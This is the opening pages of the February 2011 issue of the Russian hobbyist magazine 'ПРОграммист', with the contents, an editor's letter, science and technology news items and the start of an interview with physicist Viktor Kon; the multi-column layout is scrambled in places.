ПРО
граммист
СОДЕРЖАНИЕ
№11 (февраль) 2011
Издается с марта 2010. Выходит ежемесячно №11, февраль 2011 г.
Редакция: Выпускающий редактор Сергей Бадло Литературный редактор Utkin Редакторы JTG, Василий Мединцев, ZvEr_HaCkEr, Natali-Ka, Алексей Шульга, Егор Горохов Редактор-корректор Yan Liplavskiy
Дизайн и верстка:
Natali-Ka, Сергей Бадло
Авторский состав:
Utkin, Мират Каденов, Игорь Теслюк, Олег Кутков, Виталий Желтяков, Руслан Аблязов, Виталий Белик, Сергей Бадло
Официальный сайт журнала: www.procoder.info
Контакты:
Авторские статьи направляйте на maindatacentr@gmail.com Вопросы и предложения для редакции reddatacentr@gmail.com Вопросы и предложения администратору info@procoder.info
СЛОВО РЕДАКТОРА
20-летие журнала Радиолюбитель ................................. с.3 НЕВЕРОЯТНО, НО ФАКТ
Любопытные факты ............................................... с.4 VIP ПЕРСОНА
Интервью с доктором физ.-мат.наук Кон Виктором Германовичем .... с.9 БЕЗОПАСНОСТЬ В СЕТИ
PHP. Проверка поступивших данных ............................... с.15 Заставляем FireFox шифровать трафик ............................ с.18 ЛАБОРАТОРИЯ
Немного о DSP. Часть 1 ......................................... с.21 Компилятор домашнего приготовления. Часть 4 .................... с.24 АРХИВ
Анимированный осциллограф на WinAPI в C++ ...................... с.40 Хуки в Windows. Часть 1-2 ...................................... с.45 ЮМОР
Чего только не бывает .......................................... с.55
Информационная поддержка:
Международная Академия Информатизации (МАИН) РК www.academy.kz Журнал «Радиолюбитель» www.radioliga.com Клуб ПРОграммистов www.programmersforum.ru V.K. сайт... www.kotoff.info Free Legal Soft Group www.flsoft.ru AirNet-Berdyansk www.airnet.sytes.net
Примечание:
Издание некоммерческое. Все материалы, товарные знаки, торговые марки и логотипы, упомянутые в журнале, принадлежат их владельцам. Статьи, поступающие в редакцию, рецензируются. Мнение авторов не всегда совпадает с мнением редакции. Перепечатка материалов журнала и использование их в любой форме, в том числе в электронных СМИ, возможны только с разрешения редакции. Тираж неограничен. Формат A4, 57 стр.
Учредитель:
Клуб ПРОграммистов www.programmersforum.ru
Обложка номера: Дизайн Natali-Ka
архив номеров журнала ^
ПРО
граммист
20-ЛЕТИЕ ЖУРНАЛА РАДИОЛЮБИТЕЛЬ ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
Уважаемые читатели! Прежде всего, хочется поделиться радостью: на портале журнала «ПРОграммист» заработал форум, посвященный исключительно публикациям и увлечениям наших авторов. Добро пожаловать сюда http://forum.procoder.info. Безусловно, вы не могли не заметить и наличия у нас новой креативной обложки. Создана она благодаря усилиям дизайнера Natali-Ka. Мы очень рады, что ряды нашей редакции пополнила представительница прекрасной половины человечества. Пожелаем же Наташе и в дальнейшем творческих успехов на столь нелегком поприще, как верстка, и поздравляем ее с Днем Рождения! Надеемся данный выпуск станет подарком к ее празднику. Напоминаем вам, что в этом месяце подводятся итоги голосования на лучшую статью ушедшего года. Голосование по-прежнему проводится на сайте журнала... Пользуясь случаем, от лица всей Редакции журнала «ПРОграммист» искренне поздравляю с 20-летием наших давних друзей – журнал «Радиолюбитель» http://radioliga.com. Как говорится, долгая лета! Сама же Редакция журнала «Радиолюбитель» благодарит за сотрудничество и внимание к этому изданию всех радиолюбителей и профессионалов, всех, кому дорог этот журнал. Поздравляем коллектив, авторов, читателей – всех тех, кто на протяжении вот уже стольких лет остается приверженцем нашего общего дела. С круглой датой! В этом выпуске...
Общие требования к материалам
Рубрика «VIP персона». У нас в гостях ученый-
У
Utkin-а.
(используется
физик, Виктор Германович Кон. Читаем интервью В рубрике «Безопасность в сети» сразу два новых
автора... Виталий Желтяков сделает небольшой
экскурс в безопасность PHP. А Игорь Теслюк заставит FireFox шифровать трафик. Мират
Каденов
дебютирует
в
•
•
•
•
Новости программирования
•
Общие вопросы (правовое использование)
• • • • • • •
к
ПО
«SCRIBUS»)
и
редакторов,
есть
некоторый
и
содержать
название
статьи,
авторах, экскурс или введение, об
используемых
теоретическую
средствах
и/или
практическую часть, заключение и ресурсы к
А Руслан Аблязов поделится секретами создания Рубрики журнала (плавающие)
разделами
разработки,
•
хуков в Windows.
требований
статья должна иметь выраженную структуру с информацию
анимированного осциллографа на WinAPI в С++. Об этом и многом другом расскажет Олег Кутков.
свободное
труда
сведения об
DSP. И конечно же, новый кулинарный рецепт от
В рубрике «Архив» мы подняли тему создания
категоричных
желательный минимум:
«Лаборатория». Читаем первую часть статьи про домашних условиях.
нет
облегчения
рубрике
Виталия Белика по приготовлению компилятора в
нас
оформлению, но в связи с особенностями верстки
• •
статье;
текст статьи без табуляции в формате MS Word, VK WordPad или обычным текстовым файлом, шрифт Arial 10;
все рисунки, таблицы должны быть подписаны и иметь упоминание в тексте;
рисунки к статье должны прилагаться в виде отдельных файлов в формате PNG, TIF;
разделы статьи отделять двумя <ENTER>; электронный
адрес
для
maindatacentr@gmail.com.
Отдел тестирования
По
Алгоритмы
замечаниям. Шаблон для написания статьи можно
Переводные материалы Wi-Fi сети
Лаборатория (проекты от этапа ТЗ до сдачи) Архив (по материалам форума)
Юмор (специфические хохмы программеров)
СЛОВО РЕДАКТОРА
присланным
рецензию
и
материалам
корреспонденции
корректирует
автор
статью
получает
согласно
взять тут.
С уважением,
выпускающий редактор, член-корреспондент МАИН
Сергей Бадло
СОДЕРЖАНИЕ
3
ПРО
граммист
ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
Все чаще мы с вами становимся свидетелями воплощения предвидения писателей-фантастов. Вспомните «Лифт в небеса» Роберта Хайнлайна и «Фонтаны рая» Артура Кларка. Во всех отношениях замечательные рассказы. Тем не менее, еще ранее 31 июля 1960 года в газете «Комсомольская правда» была опубликована статья ленинградского инженера Юрия Арцутанова «В космос на электровозе». Вот тут сразу гордость за своих, да. И вот на те, на дворе 2011 год и Индия всеръез задумалась о его постройке. К слову, не она первая, как раздувают сейчас СМИ. Еще в 2002 году была организована компания HighLift Systems, при финансовой поддержке NASA. Задумка проста, с низкоорбитального геосинхронного спутника и между высотным зданием натянут высокопрочный трос равнопрочного сечения, по которому курсирует лифт с грузами, и никаких тебе расходных дорогого топлива и ракет. А если вспомнить, как наша цивилизация захламила околоземную орбиту, что даже американцы задумались о космическом щите для спутников и МКС, то преимущества очевидны. Как и в 2002, реализация сдерживается лишь отсутствием нужных по прочности материалов: необходим трос с прочностью на разрыв 130 гигапаскаль, в то время как теоретическая прочность современных углеродных нанотрубок 300 гигапаскаль, а у существующих всего 5. Но, согласитесь, уже близко к реальности. Однако, есть и внешние факторы как: метеоры и космический мусор. Видеосюжет о космической напасти и упомянутая статья включены в ресурсы журнала. Спасибо нашему редактору – Василию Мединцеву. После просмотра, задумываешся о том – насколько мелочны все наши земные проблемы и распри. Но, это не все новости на сегодня. Поехали дальше… Сергей Бадло
by raxp http://raxp.radioliga.com Поддержку
ARM
процессоров
добавит
Microsoft в операционную систему Windows 8. На брифинге
для
прессы,
в
рамках
CES
2011,
корпорация Microsoft официально объявила, что следующая
версия
операционной
системы
Windows будет включать поддержку процессоров на
базе
ARM
архитектуры.
Таким
образом,
платформа
Windows
впервые с ARM чипами сможет работать не мобильная Phone
7,
программная а
полноценная
ОС,
которая
предназначена для использования на настольных
ПК и ноутбуках. При этом ожидается, что наряду с
ARM
процессорами
новая
версия
Windows
получит поддержку и традиционных x86 чипов. Кстати,
компания
в
рамках
помимо
CES
2011
демонстрации
редмондская Windows
на
ARM показала и пакет Office, также работающий на ARM платформе. Вслед за PowerPoint были показаны
графические
продемонстрирована
бета-версия
вычисления: браузера
Internet Explorer 9, исполняющая демонстрацию
HTML 5. Но и на этом компания не остановилась: зрителям
было
декодирование
продемонстрировано
видео
высокой
плавное
чёткости
в
формате Full HD. Для этого был использован
трейлер фильма «Железный человек». Не стоит
НЕВЕРОЯТНО, НО ФАКТ
забывать,
что
все
это
исполнялось
на
маломощной системе с Tegra 2 и полноценной
Windows и выводилось на большой монитор с помощью HDMI.
Премьер-министру России Владимиру Путину
презентовали мобильный телефон с чипом GPSГЛОНАСС,
при
4,
глава
этом
практически
по
«всем,
Он
также
пользованием
техно-
скажем так, функциям» он соответствует iPhone заявил
АФК
«Система». уточнил,
что
с
ис-
логии GPS-ГЛОНАСС, точность
навигации
на открытом воздухе достигает
93%,
а
только для GPS она
СОДЕРЖАНИЕ
4
ПРО
ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
граммист
не превышает 64%. Данный телефон планируют
попросил чиновников провести дополнительный
тысяч
безопасности.
выпустить к 1 марта этого года в количестве 500 экземпляров,
а
затем
партии
анализ
будут
выходить любого объема «по мере раскупки телефонов
к
8
марта
–
«анализом,
это
составит
их
мужья.
10
990
конкурентоспособно.
Стоимость
рублей, Из-
дание РИА Новости со «Система»
кого опа
уточ-
ОАО
АФК
антиматерии время
«Система»)
это
таких устройств. Крупнейшие интернет
около
излучение,
этого
года.
акции
возможен, действие IPv6
ляться
на а
высокоскоростные взаимодействуют
актуально проблемы
адресного IPv4.
с
электроны
магнитным
–
в
Частицы
аннигилировали,
испустив
и
электронов.
свете
скоростью
электроны
деловой
условиях
поле
Двигаясь
близкой
к
со
световой,
сталкиваются
с
гамма-лучи.
аппарата
правительства муниципальных
с
запрета
переписки.
и
молекулами воздуха и испускают
уведомлением
о
использования
бесплатной электронной почты и сервиса Skype для
которые
чтобы выбросить мощный поток
руководителям
необходимости
достигают
становится достаточно сильным,
что
региона
и
гамма-лучи,
благоприятных
пространства
образований
Земли
которые
обнаружил телескоп Ферми. При
Свердловской области Сергей Козлов направил письма
полем
позитроны,
и столкнулся с электронами в корпусе космического аппарата.
истощения
Руководитель
и
начинает двигаться обратно вдоль силовой линии магнитного поля),
осуществ-
бесшовно,
и
(место в пространстве, где заряженная частица в магнитном поле
взаимо-
IPv4
материи
космических аппаратов. Пучок частиц достиг зеркальной точки
IPv6
сетей
может
аннигиляции
гамма-
от молний, вне зоны прямой видимости. Однако, TGF производят
доказать и показать, что переход
процессе
обнаруживать
2009 года в Замбии. Ферми находился на расстоянии более 4 тыс. км
World IPv6 Day, говорит, их
в
способен
Следы антиматерии телескоп обнаружил во время грозы 14 декабря
координатор
цель
образующееся
Кроме
НЕВЕРОЯТНО, НО ФАКТ
того,
Козлов
запрета
прежнее
решение
финансирование
на
электрон-
почту
правительство
позитронами.
Филипп Робертс, техничто
ную
влас-
управления».
бесплатную
происходят
и
и
Помимо
во
электронвольт, которые были следствием столкновения электронов с
IPv6-сетей.
ческий
ти
гамма-
диапазоне
органов
государственной
мнению
частицы
мощными
TGF
влияющих
информационную
безопасность
антиматерии. Телескоп обнаружил гамма-лучи с энергией 511 тыс.
Однако будет это только июне
500
рентгеновском
разрешат доступ к своим в
что
незамеченными. Телескоп Ферми предназначен для наблюдения в
порталы
из
на
ежедневно во всем мире, но большинство этих вспышек остаются
Google, Facebook и Yahoo сайтам
с
ПО,
«негативно
разрядами молний. По оценкам,
линейки
мировые
-
связано
ФСБ»,
ряд системных рисков,
производят
образуются
органами
результате анализа, по его словам, был выявлен
телеск-
вспышек
глава
производителей
излучения (TGF) внутри грозы и
ZTE. При этом, готовится целой
По
инициативу
вычислительной техники и аппаратуры связи. В
вполне
обнаружила,
молнии
исследователей,
совместно с Qualcomm и выпуск
Ферми
антивещество.
«Ситро-
никс» (дочерняя компания
зарубежных
аппарата
рентгеновского
земные
няет, что телефон разработан
есть,
проведенным
НАСА с помощью космичес-
ссылкой на пресс-службу АФК
то
Подобную
который установил зависимость госорганов от
хорошая идея: так женщины будут знать, где находятся
информационной
аппарата Свердловского правительства объяснил
людьми». Путин пошутил, что выпуск российских GPS-ГЛОНАСС
состояния
и
дловской
Skype
Свер-
области
предписывает местным чиновникам
исполь-
зовать только сертифицированное в РФ ПО и аппаратные комплексы и
проводить
консуль-
тации с компетентными органами при закупке зарубежного
ПО
и
техники. Кроме того, их просят
обеспечить
гарантированное рытие
зак-
корпоративных
сетей при переходе на систему
электронного
документооборота предотвратить
и
удален-
ный доступ к ним через интернет.
Министерство гетики
США
энер-
(DOE)
оставило в силе свое
прекратить
Теватрона,
с
этого
второго
года
по
мощности коллайдера после LHC, построенного европейским ЦЕРНом. Прошлогоднее решение DOE
закрыть
Национальной
Теватрон,
ускорительной
принадлежащий лаборатории
Ферми (Фермилаб), вызвало много протестов, в
результате чего Экспертная группа по физике
СОДЕРЖАНИЕ
5
ПРО
граммист
ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
высоких энергий DOE высказалась за трехлетнее
электродом. Мостик из листа графена выступает
энергии разгоняемых пучков Теватрон уступает
трамплина.
продление экспериментов на коллайдере. По ЦЕРНовскому суперколлайдеру в семь раз (2 тераэлектронвольта против 14) и потому вроде бы
не
имеет
смысла
продолжать
на
нем
исследования. Однако LHC так и не вышел на проектную мощность, а в этом году вообще надолго закрывается для модернизации систем
безопасности и прочих улучшений, и в этой
ситуации у Теватрона оставался мизерный шанс первым
поймать
бозон
Хиггса
(ради
чего,
собственно, и строился LHC) и щелкнуть по носу зарвавшуюся Европу с ее суперпроектом.
Компания BAE Systems получила от ВВС США 150
тыс.
долл.
на
изучение
уязвимости
электроники к электромагнитному излучению и разработку технологии уничтожения приборов противника. оружейный проведет
Крупнейший
концерн
первые
электроники
к
в
тесты
европейский
ближайшее
на
время
восприимчивость
микроволновому
излучению
высокой мощности. В настоящее время СВЧпомехогенераторы самодельные
успешно
бомбы,
обезвреживают
блокируя
сигналы
радиовзрывателей, но ВВС хотят выяснить, какой уровень
электромагнитного
излучения
могут
выдержать вражеские и собственные военные системы. Лаборатория ВВС США на авиабазе
Kirtland в Неваде совместно со специалистами
резонатором найти
и
помещен
Физики
способ
механические фильтрации
на
долгое
два
время
использовать
резонаторы
и
электрода-
генерации
надеялись
наноэлектро-
для
прямой
радиосигналов.
Проблема в том, что наноэлектромеханические устройства
страдают
от
паразитной
емкости,
которая стремится заглушить радиосигналы. В доказательство
они
работающий
на
графена
два
создали
приемник,
частоте
33.27
МГц,
порядка
массивнее,
и
утверждают, что благодаря тому, что листы на
чем
аналогичные устройства из кремния, они могут
принимать сигналы на более высоких частотах – в диапазоне гигагерц. Именно эти радиочастоты интересны телефонов
производителям
и
другого
оборудования.
* Комментарий редакции. К
слову,
совсем
не
Калифорнийского
ново.
мобильных
коммуникационного
Три
университета
года уже
назад,
учеными
был
из
представлен
радиоприемник на нанотрубке (а их изготавливают из графена). Поэтому, можно только догадываться – то ли это продолжение разработок,
данных
то
ли
американские ученые не ознакомились с опытом коллег…
BAE в течение 9 месяцев проведет серию тестов
Устройство, изобретенное в 2007 г. группой физика Алекса Зеттла
персональный компьютер, облучению мощными
ряд
и подвергнет электронные приборы, такие как электромагнитными
волнами
короткого замыкания.
вплоть
до
Графеновый радиоприемник создали* ученые из
Колумбийского
весьма
простое:
университета. прямой
помещается
между
графеновым
листом.
двумя
лист
Устройство графена
электродами-
трамплинами, а третий электрод находится под пропускается
Затем
постоянный
ток
через и
графен
подается
высокочастотное напряжение. Лист графена
резонирует
радиосигналом, изменяет
с
что
емкостное
сопротивление между листом
НЕВЕРОЯТНО, НО ФАКТ
и
третьим
(Alex Zettl) из Калифорнийского университета в Беркли, выполняет удивительных
выполняет
функций:
все
одна-единственная
четыре
основные
нанотрубка:
функции:
и
антенны,
перестраиваемого фильтра, усилителя и демодулятора. Принцип работы
устройства,
скорее,
подобен
вакуумным
электронным
лампам 30-х годов, чем транзистору. Наноприемник детектирует радиосигналы радикально новым способом – он вибрирует в
диапазоне от килогерц до мегагерц в соответствии с частотой падающей радиоволны. Углеродная трубка длиной несколько сотен
нанометров крепится к отрицательно заряженному электроду из вольфрама, примерно
который
одного
заряженный
исполняет
микрона
медный
от
электрод,
роль
катода.
На
действующий
как
него
находится
расстоянии
положительно анод.
Все
устройство помещено в вакуум. Приложенное от прикрепленной батареи
напряжение
посредством
эффекта
автоэлектронной
эмиссии генерирует поток электронов от катода в нанотрубку и
далее через вакуумный зазор к аноду. Запись радиопередач на сайте http://www.SciAm.com/nanoradio.
Поток электронов вдоль нанотрубки изменяет свои характеристики, когда
падающая
радиоволна
вызывает
в
ней
резонансные
колебания и в результате усиливается и демодулируется.
СОДЕРЖАНИЕ
6
ПРО
ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
граммист
Технологию превращения мусора в топливо испытала армия США. Доставка топлива и вывоз отходов
с
поля
боя
–
это
чрезвычайно
дорогостоящие и опасные операции. Для ее выполнения
требуются
солдаты
и
транспорт,
которые подвергаются опасности нападения и отвлекаются
от
выполнения
непосредственно
боевых задач. Эту проблему должно решить устройство Проект сейсмоустойчивого здания разработан российскими
экологическим Проект**
архитекторами
был
программы
и
энергетическим
разработан
Международного номинирован
с
с
союза
циклами.
учетом
«Архитектура
на
замкнутым
опыта
катастроф»
архитекторов
премию
архитектурного фестиваля WAF-2010.
и
Всемирного
обеспечивать жителей всеми необходимыми для жизни ресурсами в
любых районах планеты, а также держаться на плаву. Строение, занимающее участок земли площадью 3.2 тыс.м2, представляет собой сплюснутую сферу с прозрачным куполом, изолирующим обитателей от окружающей среды. Строительство
здания
опоры
легких
начинается
центральной
технологией,
преобразовывать
проходят
внутри
трубы,
а
горизонтальные этажи здания предназначены для житья. После
установки трубы строительство ведется автономно за счет энергии, вырабатываемой 30
системами
метров.
здания.
Необычным
топливо
способна
широкий
спектр
такие материалы как пластмасса, бумага, картон и пенопласт гранулируются и нагреваются. В результате
они
распадаются
на
простые
углеводороды, которые имеют характеристики например этанол.
К
из
пропана.
продуктов, газу
С
отходов
и
помощью
биоматериалов,
производится
этанолу
водный
добавляют
10%
дизельного топлива, и затем смесь подается в дизель-генератор,
который
производит
электричество. Воинское подразделение в 500 Если
конвертировать
этот
огромный
перевозки
топлива
и
устранить
необходимость вывоза отходов. Подразделение
энергоблок,
коммуникации
в
которая
отходов. Предварительно мусор измельчается, а
сократить
тепловые насосы, ветровые генераторы и генератор торнадо. Все инженерные
в
новой
объем отходов в энергию, можно значительно
конструкций,
преобразующий тепло в электроэнергию, а в верхней части -
достигает
гибридной
мусора.
трубчатой
плавучая платформа. В нижней части располагается
мусор
испытания
человек ежедневно производит около 1000 кг
с
фундаментом для нее может служить трубы
превращающее
технологии завершились в Ираке. TGER является
ферментации
По задумке авторов проекта, автономное здание «Ковчег» должно
из
TGER,
Трехмесячные
низкосортного
** Справка.
установки
энергию.
Высота
выглядит
наземной
решение
части
сделать
станет менее зависимым от поставок топлива и окажет
минимальное
окружающую
среду.
воздействие
Четырехтонный
на
TGER
перерабатывает около тонны мусора в сутки и может
обеспечивать
мощностью 60 кВт.
топливом
генератор
несущие крепления купола из дерева – видимо из соображений экономии веса и денег.
Здание
спроектировано
энергетическая бесперебойным
как
система
единая
энергоснабжением
с
на
основе использования альтернативных
источников энергии – солнечного света, отходов
также
ветра, термальной энергии. Утилизация
вырабатывает
электричество
или
производит
удобрения для зеленых насаждений внутри здания. На этажах
предусмотрены места для занятий искусством и спортом, отдыха, бытового и медицинского обслуживания, обучения, работы. Связь с внешним миром обеспечивают интернет и телевидение. Благодаря куполу
внутри
здания
создаются
комфортные
климатические
условия практически одинаковые вне зависимости от поры года.
НЕВЕРОЯТНО, НО ФАКТ
СОДЕРЖАНИЕ
7
ПРО
граммист
ЛЮБОПЫТНЫЕ ФАКТЫ
№11 (февраль) 2011
Ученые нашли улитку с раковиной, которая
Нун
человеком
том, что если между наблюдателем и звездой
рассеивает свет лучше, чем любой из созданных материалов.
Эта
улитка
умеет
светиться, а ее раковина усиливает свет для отпугивания
охотящихся
на
нее
хищников.
Ничем с виду не примечательная улитка Hinea
brasiliana в момент опасности преображается: она
испускает
вспышки
света,
которые
предлагает
использовать
эффект
гравитационной линзы. Эффект заключается в
есть еще какое-то массивное тело, это тело, подобно линзе, искривит идущие мимо него лучи, и наблюдатель увидит звезду такой, какой бы она была, находись она значительно ближе.
отпугивают ее врагов. Ее раковина не только не
Иными
эффективно рассеивает свет, так что кажется,
центре Галактики, а именно звезды S2, которая в
препятствует
прохождению
света,
но
и
что вся раковина светится целиком. Хотя с виду раковина
кажется
непрозрачной,
через
нее
хорошо проходит зеленый свет, испускаемый улиткой.
При
дальнейшем
исследовании
выяснилось, что по своей способности рассеивать свет раковина этой улитки превосходит лучшие
коммерческие продукты, созданные человеком. Так что, вероятно, нам есть чему поучиться у природы случае.
в
Чем
данном и
пла-
выяснив,
что
нируют заняться ученые,
именно обеспечивает
такие хорошие оптические показатели. В
нашем
мире
шесть
или
семь простран-
ственных измерений. Мы не видим их потому что: то ли в момент Большого взрыва, то ли еще по какой причине, эти измерения свернулись в спиральки
очень
маленьких,
может
быть,
словами,
она
станет
2018
году,
находясь
за
дополнительных
измерений
ситета заявляет, что нашел способ узнать, есть
ли на самом деле такие измерения или их нет вовсе. Для этого он предложил использовать
Саггитариус А, сверхмассивную черную дыру, находящуюся
в
центре
нашей
Галактики.
Согласно общей теории относительности, любая масса
словно
искривляет
бы
полотне,
в
пространство-время,
продавливает которую
ямку
на
она
натянутом
устремляются
другие
массивные тела – так, по Эйнштейну, появляется гравитационное гравитация
искривляют
притяжение.
очень
сильная,
У
они
пространство-время,
черных так
что
дыр
сильно даже
микроспиральки утраченных пространственных
измерений начинают выдавать свое присутствие.
Чтобы заметить наличие этих измерений, Бин-
НЕВЕРОЯТНО, НО ФАКТ
сделает
черную
измерений не существовало. Спиновый
накопитель
на
атоме
создали
исследователи из университета штата Юта. Чип представляет
собой
обычную
кремниевую
подложку, куда добавлены атомы фосфора. На магнитных спинах десяти тысяч ядер атомов
фосфора и окружающих их электронов хранится информация.
Новый
носитель
информации
можно было бы вставлять в компьютеры хоть
сейчас, если бы не два обстоятельства – система работает при температуре 3.2 К и в мощном магнитном
поле,
которое
в
200
тыс.
раз
превышает земное. Такой чип вряд ли подойдет для стандартного ноутбука.
камеры. Наверное, всем известно
универ-
А,
светить ярче на 44%, чем если бы скрытых
физик-теоретик
Пенсильванского
Саггитариусом
дыру более мощной линзой, и звезда S2 будет
Молния,
из
Бин-Нун
достигнет своего пика. По его расчетам, наличие
планковских размеров и потому никак не влияют
на нашу жизнь. Амитаи Бин-Нун (Amitai Bin-Nun),
ярче.
предлагает оценить яркость одной из звезд в
снята
сверхбыстрой еще
с
детства,
сфотографировать
с
помощью
рентгеновской что
молнию
достаточно
сложно. Тем не менее, научнотехнический прогресс не стоит на
месте.
Флоридского института молнию
во
Исследователям
из
технологического
удалось
всей
ее
заснять
красе
с
помощью огромной сверхбыстрой рентгеновской
камеры
весом
почти 700 кг. Камера, использованная учеными, способна делать снимки с поистине впечатляющей частотой 10 млн кадров в
секунду. Благодаря этой камере появилась возможность изучать такие быстротечные явления, как молния. Еще одна сложность при съемке
заключалась
в
том,
чтобы
молния
ударила
в
непосредственной близости от камеры, прямо напротив объектива. Для этого ученые запускали специальные ракеты во время грозы, которые и провоцировали молнию бить именно туда, куда это было необходимо. Снимок получился впечатляющим.
СОДЕРЖАНИЕ
8
ПРО
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
№11 (февраль) 2011
граммист
Доброго дня, уважаемые читатели журнала «ПРОграммист». Предваряя следующий номер, мы тщательно отбирали кандидатуры и решили посвятить следующие интервью нашим авторам – основной ценности журнала. Отслеживая популяризацию журнала, часто видишь обсуждения состава авторов на различного рода блогах, форумах. Да, врезки об авторе – это хорошо, но этого недостаточно, чтобы узнать о жизненном опыте авторе, а такой интерес имеется. Конечно, найдутся и те, кто скажет, что все равно кого, главное – статья полезная и эксклюзивная. Тут спору нет. Заходя на главную страницу портала http://procoder.info вы видите текст: «Среди авторов журнала как видные ученые, профессиональные инженеры-разработчики, электронщики и программисты...». Мы решили приподнять завесу над этой фразой и сегодня в гостях у нас, один из первых авторов – Виктор Кон. Интервью мы решили провести, по-прежнему, в режиме вопрос-ответ. Итак, приступим… Utkin: Вначале познакомимся…
математики
Виктор: Здравствуйте. Виктор Германович Кон, физик-теоретик, доктор физ.-мат наук, главный
научный сотрудник Российского научного центра
«Курчатовский
институт»,
66
лет,
пенсионер,
и
графики.
И
у
меня
есть
способности на этот предмет. Так что я доволен.
Utkin: В Вашей семье есть еще физики (или ученые)?
ветеран. Полную информацию обо мне можно
Виктор: Нет, в моей семье не было ученых, я
http://kohnvict.narod.ru.
крупной
найти
на
персональном
вэб-сайте
Utkin: Какое образование у Вас, почему Вы выбрали
именно
эту
повлияло на Ваш выбор? Виктор:
Окончил
университет М.
Уральский
имени
Горького
профессию,
что
государственный
единственный. Отец был бухгалтером, правда в организации
и
начальником
отдела,
мать долго сидела дома с нами, потом работала на заводе. Брат был шофером
автобуса, сейчас
на пенсии. Дети (дочь и сын) окончили каждый по
два
института,
но
Работу
найти
работают. платят.
Работают
в
им
в
по
специальности
фирмах, не
где
трудно,
приходится дически
Свердловске (сейчас
не
хорошо но
ее
перио-
менять.
Либо контракт кон-
Екатеринбург), физи-
чается,
либо
еще
туре в Курчатовском
Utkin:
Какие
воп-
защитил
интересуют?
ческий учился
в
факультет,
институте, скую
и
степени
какие причины.
аспиран-
там
же
росы
кандидат-
докторскую
(физ-мат
Виктор:
наук). В школе мне нравилась ка
и
но
виду
занимаюсь
все есть в физике, а
архи-
за
Действи-
ретика очень много
VIP ПЕРСОНА
свою
работал
почете. И я пошел в
тельно, в работе тео-
научную
то
я
рент-
геновской оптикой и
тектура в СССР не в физики.
мою
работу,
подсказала, что это и
очень
вопрос. Если иметь в
мне учитель физики математика
Не
особо
конкретно поставлен
математи-
черчение,
Вас
Виктор Германович Кон
(физик-теоретик, доктор физ.-мат наук)
жизнь
почти
всех
ее
ции
излучения
во
разделах,
начиная от дифракв
кристаллах и закан-
СОДЕРЖАНИЕ
9
ПРО
граммист
№11 (февраль) 2011
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
чивая
фокусировкой
синхротронного
пучков
излучения. Параллельно очень много времени
трачу на программирование как своих задач по
физике, так и других задач. Ну и еще сайтостроение,
то
есть
само-публикации.
На
это
уходит много времени. У меня уже пять крупных сайтов, не считая мелких. Utkin:
Принимаете
региональных
ли
Вы
и/или
конференциях?
участие
в
международных
Виктор: В советское время я часто участвовал в региональных
(внутри
конференциях.
На
Советского
международные
Союза)
меня
не
выпускала медкомиссия, так как я плохо слышу. В наши дни я принимаю активное участие в тех
конференциях, которые проходят в Москве и
московской области. На все другие надо ездить за свой счет и я просто не вижу смысла тратить
свои деньги. Это отдельный и сложный вопрос. Дело
в
том,
что
зарплаты,
как
таковой,
у
заочно,
как
соавтор
докладчиков.
моих
западных
коллег
Utkin: Есть ли у Вас какие-то изобретения, если есть, то какие? Виктор:
Я
теоретик
фундаментальными
и
исследованиями.
занимаюсь В
такой
работе изобретения обычно не фиксируются, а просто
публикуются
результаты
работы
в
научных журналах. Журналы бывают разные, с
разным рейтингом. У каждого свой потолок. Меня
правда
записали
в
два
патента
на
изобретения, но я к этому серьезно не отношусь, даже в списке своих трудов их не указал. Они
относятся к методу стоячих рентгеновских волн, этим методом я активно занимался в 80-е годы прошлого века.
Utkin: Есть ли у Вас награды, премии? За какие достижения?
сотрудников нашего института практически нет
Виктор: Мне дали медаль к 850-летию Москвы.
выплаты по грантам. Это уже серьезные деньги,
ветерана
(5 тысяч рублей в месяц). К зарплате прибавляют но их приходится брать именно наличными. А
по идее чиновников от науки в командировки надо ездить тоже на эти деньги. Но тогда их не хватит. Вот такая арифметика.
Я отвечу по другому: периодически езжу за границу по приглашению, то есть в научную командировку,
но
которую
полностью
оплачивают иностранцы. Такая форма широко распространена
и
только
так
выживают
все
российские ученые. Реально езжу только к своим бывшим
которые
ученикам,
постоянно
тоже
русским
работают
за
ученым,
рубежом
и
сделали там себе карьеру. Было время, когда
только на эти деньги и можно было выжить. Сейчас правда не так. Парадокс еще и в том, что хотя я езжу на работу и в своих публикациях
указываю свой Курчатовский институт, но мой родной институт мне даже командировку не выписывает,
приходится
брать
отпуск.
Это
обидно. Еще надо сказать, что лодырей и неумех
на таких условиях не приглашают. Никто даром
деньги не тратит. Но я успешный ученый. И мне реально делают предложения даже больше, чем я
могу
осилить.
Приходится
отказывать.
В
заграничных конференциях я часто учавствую
VIP ПЕРСОНА
Благодаря этой медали я получил удостоверение труда.
В
институте
я
регулярно
получал премии, сначала молодежные, а потом и взрослые. Но на премии более высокого ранга я сам
себя
не
представлял.
Тем
не
менее,
последние два года мне повезло. В конце 2009 года я получил Премию Академии Наук им Федорова за цикл работ по методу стоячих рентгеновских
волн
с
соавторстве
Валентинович
Ковальчук,
с
двумя
своими коллегами. Кстати один из них Михаил директор
нашего
института и секретарь Совета по науке при
президенте РФ, наиболее активный проповедник и организатор нанотехнологий в России. Сами работы делались в те годы, когда он был еще начальником
лаборатории.
Этой
работой
я
занимался до 95-го года. В 95-м году я впервые попал во Францию на новый и лучший в мире источник
Гренобле).
коллегами,
синхротронного
И
фокусировки
мне,
удалось
в
излучения
соавторстве
придумать
рентгеновских
с
новый
лучей.
(в
моими
способ Мы
опубликовали статью в журнале Nature (это журнал самого высокого рейтинга в мире) и она имела большой успех. Фактически был открыт новый раздел рентгеновской оптики. Вот за эту работу в конце прошлого года нам дали премию
в Берлине, называется она «Innovation award on
СОДЕРЖАНИЕ
10
ПРО
ИНТЕРВЬЮ. У НАС В ГОСТЯХ - ВИКТОР ГЕРМАНОВИЧ КОН
№11 (февраль) 2011
граммист
synchrotron radiation 2010». Она присуждается
И они постепенно умирают. Замены им нет, люди
ученых, внесших значительный вклад в развитие
уже
один раз в год какой-либо группе европейских
методов применения синхротронного излучения. Премия
учреждена Центром Гельмгольца в
